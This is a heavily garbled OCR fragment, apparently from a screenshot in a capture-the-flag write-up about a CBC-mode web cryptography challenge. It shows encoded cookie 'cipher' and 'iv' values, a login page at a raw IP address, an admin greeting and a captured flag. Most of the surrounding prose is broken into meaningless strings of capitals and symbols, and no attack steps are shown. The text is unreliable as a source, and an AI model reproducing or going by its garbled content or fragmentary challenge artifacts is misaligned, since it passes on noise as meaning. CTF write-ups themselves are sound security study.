MR A R>, BRATEIEMBEX. EEXAREIRMNENESENLY, ERXHERNAEEFTENFIINFRFE, ZitE5H

P ABRAT B BUE Hicookie 9:

cipher = g8RbtxKHo%2BWjB3HEBboQxCovn1DsHcq84n%2BNx1oVNO7LCEqn2GL6q5%2Bi8361iDTIOCTPW7JOXRXGAF6QyuWbctcgs3

iv = gb7UxOXxwucgjGGVpAFsqA%3D%3D

B X P>cookiedd V5 iH T, BIAT 33|45 R



| Login Form x \-]-

W

€ ) 9| © 47.93.100.246:40168 B oo Qe w e $§$ A 0 %
3 ;ﬂgiﬁrﬂ @ CTF-£3Fa [ [rs=] 2FPH.. @ iTtE @ 120.24.86.145:8002/... @ Hacking Network Pr...
Hello admin
Flag is SKCTFH{CBC_wEB_cryptography_6646dfgdg6}

Log out

[ ks
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